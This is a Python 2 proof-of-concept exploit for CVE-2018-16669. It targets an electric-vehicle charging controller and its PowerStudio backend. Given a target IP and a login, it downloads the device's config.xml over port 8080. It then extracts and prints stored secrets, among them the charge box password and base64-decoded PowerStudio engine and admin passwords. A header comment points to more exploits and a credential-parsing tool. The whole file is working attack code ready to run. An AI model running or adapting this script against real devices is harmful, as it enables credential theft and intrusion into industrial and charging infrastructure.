#POC for CVE-2018-16669
#More POCs and complete log parser for credentials and system specifications disclosure at https://github.com/SadFud/Exploits/tree/master/Real%20World/SCADA%20-%20IOT%20Systems
import requests
from requests.auth import HTTPDigestAuth
from termcolor import colored
import xml.etree.ElementTree as ET
import base64
def lconfig(user, pwd):
print colored('[*] Leaking config file via CVE-2018-16669', 'blue')
r2 = requests.get(target2 + '/services/config/config.xml', auth=HTTPDigestAuth(user.strip(), pwd.strip()))
if r2.text.encode("utf8").find('Acess not granted') != -1:
print colored('[-] Error. Login failed', 'red')
else:
config = r2.text.encode('utf8')
print colored('[+] Config file leaked succesfully', 'green')
if (len(str(config)) > 10):
tree = ET.fromstring(config)
print colored('[*] Processing management system CS settings', 'blue')
print colored('[+] End point: ', 'green') + str(tree.find('.//csEndPoint').text)
print colored('[+] Username: ', 'green') + str(tree.find('.//csUser').text)
print colored('[+] Password: ', 'green') + str(tree.find('.//csPassword').text)
print colored('[+] Litle endian: ', 'green') + str(tree.find('.//isLitleEndian').text)
print colored('[*] Processing Charge Box settings file', 'blue')
print colored('[+] Charge box Protocol: ', 'green') + str(tree.find('.//cbProtocol').text)
print colored('[+] Charge box certificate: ', 'green') + str(tree.find('.//cbRequireCsClientCertificate').text)
print colored('[+] Charge box ID: ', 'green') + str(tree.find('.//cbId').text)
print colored('[+] Charge box Username: ', 'green') + str(tree.find('.//cbUser').text)
print colored('[+] Charge box password: ', 'green') + str(tree.find('.//cbPassword').text)
print colored('[+] Charge box OCPP internal port: ', 'green') + str(tree.find('.//cbOcppPortInternal').text)
print colored('[+] Charge box OCPP public port: ', 'green') + str(tree.find('.//cbOcppPortPublic').text)
print colored('[+] Charge box use whitelist: ', 'green') + str(tree.find('.//cbUseWl').text)
print colored('[+] Charge box whitelist first: ', 'green') + str(tree.find('.//cbWlFirst').text)
print colored('[+] Charge box offline authentication: ', 'green') + str(tree.find('.//cbAuthOffline').text)
print colored('[+] Charge box internal error retry delay: ', 'green') + str(tree.find('.//cbRetryInternalErr').text)
print colored('[+] Charge box use OCPP T-Sync: ', 'green') + str(tree.find('.//cbUseOcppTSync').text)
print colored('[+] Charge box use compression: ', 'green') + str(tree.find('.//cbUseCompression').text)
print colored('[+] Charge box use aprtial energy: ', 'green') + str(tree.find('.//cbUsePartialEnergy').text)
#print colored('[+] Charge box use partial energy meter value: ', 'green') + str(tree.find('.//cbUsePartialEnergyMeterVal').text)
print colored('[+] Charge box stop if unauthenticated: ', 'green') + str(tree.find('.//cbStopIfUnauth').text)
print colored('[+] Charge box stop if concurrent tx: ', 'green') + str(tree.find('.//cbStopIfConcurrentTx').text)
print colored('[+] Charge box hearth-beat interval: ', 'green') + str(tree.find('.//cbHbInterval').text)
print colored('[+] Charge box connection time out interval: ', 'green') + str(tree.find('.//cbConnTimeOut').text)
print colored('[+] Charge box meter interval: ', 'green') + str(tree.find('.//cbMeterInterval').text)
#print colored('[+] Charge box public Ip timeout interval: ', 'green') + str(tree.find('.//cbPublicIpTimeOut').text)
#print colored('[+] Charge box authentication required for remote start: ', 'green') + str(tree.find('.//cbRequireAuthRemoteStart').text)
#print colored('[+] Charge box meter requires power: ', 'green') + str(tree.find('.//cbMeterValRequiresPower').text)
print colored('[*] Processing Powerstudio engine settings file' , 'blue')
print colored('[+] Powerstudio engine host: ', 'green') + str(tree.find('.//pwStdHost').text)
print colored('[+] Powerstudio engine port: ', 'green') + str(tree.find('.//pwStdPort').text)
print colored('[+] Powerstudio engine username: ', 'green') + str(tree.find('.//pwStdUser').text)
print colored('[+] Powerstudio engine password: ', 'green') + base64.b64decode(str(tree.find('.//pwStdPassword').text))
print colored('[+] Powerstudio engine username (with edit permissions): ', 'green') + str(tree.find('.//pwStdUserEdit').text)
print colored('[+] Powerstudio engine password (with edit permissions): ', 'green') + base64.b64decode(str(tree.find('.//pwStdPasswordEdit').text))
print colored('[*] Processing powerstudio application parameters', 'blue')
print colored('[+] Powerstudio application port: ', 'green') + str(tree.find('.//pssPort').text)
print colored('[+] Powerstudio application admin: ', 'green') + str(tree.find('.//pssAdminUser').text)
print colored('[+] Powerstudio application password: ', 'green') + base64.b64decode(str(tree.find('.//pssAdminPassword').text))
print colored('[+] Powerstudio application debug logging level: ', 'green') + str(tree.find('.//pssLoglevel').text)
else:
print colored('[-] Unable to retrieve the OCPP config file', 'red')
url = raw_input('Insert target ip: ')
target2 = 'http://' + url + ':8080'
luser8080 = raw_input('Insert username for login at OCPP server: ')
lpasswd8080 = raw_input('Insert password for login at OCPP server: ')
lconfig(luser8080, lpasswd8080)
暂无评论